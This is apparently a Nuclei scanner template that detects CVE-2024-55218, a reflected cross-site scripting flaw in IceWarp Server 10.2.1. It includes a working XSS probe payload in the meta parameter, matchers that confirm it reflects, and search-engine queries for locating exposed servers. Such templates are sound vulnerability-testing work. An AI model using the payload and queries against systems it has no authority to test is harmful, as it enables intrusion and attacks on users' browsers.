id: CVE-2024-55218

info:
  name: IceWarp Server 10.2.1 - Cross-Site Scripting
  author: s4e-io
  severity: medium
  description: |
    IceWarp Server 10.2.1 is vulnerable to Cross Site Scripting (XSS) via the meta parameter.
  impact: |
    Attackers can inject malicious JavaScript through the meta parameter, executing arbitrary code in victim browsers when they visit crafted URLs.
  remediation: |
    Update IceWarp Server to a version later than 10.2.1 that addresses the reflected XSS vulnerability.
  reference:
    - https://resources.s4e.io/blog/icewarp-server-10-2-1-reflected-xss-vulnerability-cve-2024-55218/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-55218
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-55218
    cwe-id: CWE-79
    epss-score: 0.00374
    epss-percentile: 0.59245
  metadata:
    verified: true
    max-request: 1
    vendor: icewarp
    product: mail_server
    shodan-query:
      - http.title:"icewarp server administration"
      - http.title:"icewarp"
      - cpe:"cpe:2.3:a:icewarp:mail_server"
    fofa-query:
      - title="icewarp server administration"
      - title="icewarp"
    google-query:
      - intitle:"icewarp server administration"
      - intitle:"icewarp"
      - powered by icewarp 10.2.1
      - powered by icewarp 10.4.4
  tags: cve,cve2024,icewarp,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/?meta=%3Csvg%2Fonload=confirm%28document.domain%29%3E"

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "<svg/onload=confirm(document.domain)>", "IceWarp")'
          - 'contains(header, "text/html")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a00473045022100d6ee30fd700e38f1f0c83155041d0d6bccb87e08276ea6702626b630dd2a61d602203e2ad276c900fb76ae2a4f4f04447f01cb57ecd53467dcaa900bf49c17d1b3c6:922c64590222798bb761d5b6d8e72950